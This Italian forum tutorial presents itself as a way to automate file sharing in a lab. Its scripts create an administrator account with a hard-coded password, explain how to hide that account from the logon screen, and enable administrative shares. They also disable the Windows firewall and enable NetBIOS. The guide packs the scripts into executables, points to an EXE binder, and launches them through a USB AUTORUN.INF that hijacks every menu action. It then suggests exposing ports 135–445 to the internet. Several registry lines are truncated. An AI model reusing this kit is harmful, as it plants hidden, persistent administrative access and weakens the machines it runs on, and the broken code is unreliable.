



Quanti di voi si sono trovati nelle condizioni di dover mettere in condivisione su diverse macchine dei file? Sembrerebbe una cosa semplice e di facile attuazione, ma non sempre è così.

Questa mattina ho avuto la necessita' di attivare una condivisione su diverse macchine, ed ho voluto automatizzare la cosa realizzando degli script, convertendoli in .exe (per fare la cosa piu' elegante) e attivandoli su ogni macchina del laboratorio.

Creiamo un account da amministratore ed attiviamo le condivisioni amministrative della macchina in questione.

## FILE: CreateAdmin\_EnableAutoShare.BAT

### Codice:

```
@Echo Off
SET usr=admin0
SET pwd=LAMIAPASSWORD
net user "%usr%" "%pwd%" /add > nul
net localgroup Administrators %usr% /add > nul
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\S

REM *****
REM SE VOLESSIMO NASCONDERE L'ACCOUNT DALLA SCHERMATA INIZIALE DI LOGON DOBE
```

## BATCH+VBSCRIPT per condivisione dei files fra PC

Scritto da Trestler

---

```
REM REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
REM *****
```

REM AutoShareServer = Forza la creazione delle condivisioni di default sui server

REM AutoShareWks = Forza la creazione delle condivisioni di default sulle workstation

REM INFO QUI: <http://support.microsoft.com/kb/288164/it> E QUI: <http://support.microsoft.com/kb/245118>

```
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters"
```

```
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters"
```

REM In Vista le condivisioni amministrative sono ancora presenti ma risultano bloccate per ragioni di sicurezza

```
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
```

### Citazione:

CITAZIONE:

<http://www.intelliadmin.com/blog/2006/09/hide-user-accounts-from-windows-xp.html>

The welcome screen displays all of the local users on the system, except the built-in administrator account that was created during setup. If we want to hide a specific user from the list, we need to create a special value under this registry key:

```
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
```

Under this key you simply create a new DWORD value - the name matches the users name exactly, and the value is one of the following (Decimal format)

0 - Hides the user just from the welcome screen

1 - The user is shown

Before you start putting values in this key, I want to warn you. This tip is particularly dangerous. If you make the wrong move, you

could make it nearly impossible to get back into your system. Don't blame me if you hose your system!

DISABILITIAMO IL FIREWALL DI WINDOWS IN QUESTO MODO:

### FILE: DisableXPFirewall.vbs

#### Codice:

```
Set objFirewall = CreateObject("HNetCfg.FwMgr")
Set objPolicy = objFirewall.LocalPolicy.CurrentProfile
objPolicy.FirewallEnabled = FALSE
```

Ed infine abilitamo netbios sempre da script

### FILE: EnableNetBios\_Over\_Tcp-IP.vbs

#### Codice:

```
' Modify NetBIOS Use on a Network Adapter
```

```
On Error Resume Next
```

```
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
```

```
Set colNetCards = objWMIService.ExecQuery _
("Select * From Win32_NetworkAdapterConfiguration Where IPEnabled = True")
```

```
For Each objNetCard in colNetCards
objNetCard.SetTCPIPNetBIOS(1)
```

Next

' 0 = Use setting from DHCP; 1 = Enable; 2 = Disable

Per essere un attimino piu' eleganti... convertiamo gli script in exe

### **Codice:**

```
CreateAdmin_EnableAutoShare.EXE  
DisableXPFirewall.EXE  
EnableNetBios_Over_Tcp-IP.EXE
```

POTREMMO FORGIARE GLI EXE (JOIN DEGLI ESEGUIBILI)... MA POSSIAMO ANCHE UTILIZZARE UN ALTRO BATCH PER AUTOMATIZZARE L'ESECUZIONE DEI FILES.

[inPEct .EXE binder | stas'den](#)

### **FILE: LOAD.BAT**

#### **Codice:**

```
@ECHO OFF  
CreateAdmin_EnableAutoShare.EXE  
DisableXPFirewall.EXE  
EnableNetBios_Over_Tcp-IP.EXE
```

Conciamo il tutto con un bel AUTORUN.INF messo nella root della pen-drive.

### **FILE: AUTORUN.INF**

#### **Codice:**

[autorun]

open=LOAD.BAT open

shellexecute=LOAD.BAT open

shell=auto

action=CREA ACCOUNT ADMIN, ATTIVA COND.AMMINISTRATIVE, ABILITA NETBIOS EnableNetBI

shell\auto=&Auto

shell\auto\command=LOAD.BAT open

shell\open=&Open

shell\open\command=LOAD.BAT open

shell\explore=E&xplore

shell\explore\command=LOAD.BAT open

shell\find=S&earch...

shell\find\command=LOAD.BAT open

shell\install=&ATTIVA\_CONDIVISIONI!

shell\install\command=LOAD.BAT open

SE LA MACCHINA E SOTTO UN RUOTER BISOGNA EFFETURE PORT FORWARDING(IL  
[http://it.wikipedia.org/wiki/Port\\_forwarding](http://it.wikipedia.org/wiki/Port_forwarding)

)  
SULL'IP DELLA MACCHINA CHE DEVE CONDIVIDERE LE SUE RISORSE CON  
L'ESTERNO(SULLE PORTE: 135, 137, 138, 139, 445).

POTETE LEGGERE UN'INTERESSANTE ARTICOLO RECENSITO DA ANDREA BIAGGI  
SULLE CONDIVISIONI DI WINDOWS ALL'INDIRIZZO:

<http://www.andreabeggi.net/2005/05/28/la-condivisione-files-di-windows-come-funziona/>

TCP/135 - RCP

UDP/137 - NetBIOS Name Service

UDP/138 - NetBIOS Datagram Service

TCP/139 - NetBIOS Session Service

(Win200,xp..)TCP/445 in alternativa alle solite 137-139

Mi sembra doveroso rimarcare il grosso lavoro svolto da tutti gli utenti del forum che assieme allo staf rendono la community veramente ricca di qualsiasi informazione e di spunti tecnici di notevole interesse, vi invitiamo quindi, per qualsiasi domanda o chiarimento a contattare gli autori delle guide sul forum e a partecipare alla vita dello stesso.

***Si ringrazia 4ckr4sTudy per aver fornito questa ottima guida***